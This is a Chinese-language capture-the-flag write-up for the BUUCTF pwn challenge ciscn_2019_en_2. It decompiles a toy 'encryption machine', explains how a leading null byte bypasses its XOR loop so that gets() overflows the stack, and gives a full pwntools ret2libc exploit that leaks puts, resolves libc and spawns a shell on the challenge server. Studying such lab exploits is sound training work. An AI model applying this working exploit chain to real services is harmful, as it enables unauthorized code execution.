ciscn 2019 en 2

# ciscn 2019 en 2

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/ciscn_2019_en_2/ciscn_2019_en_2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

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# 静态分析

主函数如下

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]

  init(*(_QWORD *)&argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin("Welcome to this Encryption machine\n");
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin("I think you can do it by yourself");
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin("%d");
  }
  puts("Something Wrong!");
  return 0;
}

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begin函数如下

int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}

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encrypt函数如下

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xCu;
      }
      else
      {
        s[x] ^= 0xDu;
      }
    }
    else
    {
      s[x] ^= 0xEu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

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# 思路分析

目前信息：
- encrypt函数内有栈溢出漏洞，但需要绕过加密
- No PIE
- 程序开启了NX保护
- 不存在后门函数
思路：
- encrypt函数内使用strlen函数来作为加密的关键，首位\0的特殊输入即可绕过加密，另外本题并无后门函数，首先需要泄漏libc和对应函数地址，利用泄漏到的信息，二次溢出获得shell

# exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_en_2/ciscn_2019_en_2'
io = remote('node4.buuoj.cn', 26929)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x50+8
pop_rdi_ret = 0x400c83
ret = 0x400C84
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
encrypt_addr = elf.symbols['encrypt']
io.sendlineafter('Input your choice!\n', str(1))
payload = flat(['\0'*padding, pop_rdi_ret, puts_got_addr,puts_plt_addr, encrypt_addr])
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)
io.recvuntil('Ciphertext\n\n')
leak_puts_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
print('leak puts addr is {0}'.format(hex(leak_puts_addr)))
libc = LibcSearcher('puts', leak_puts_addr)
libcbase = leak_puts_addr-libc.dump('puts')
system_addr = libcbase+libc.dump('system')
bin_sh_addr = libcbase+libc.dump('str_bin_sh')
payload = flat(['\0'*padding, ret, pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)
io.interactive()

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#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

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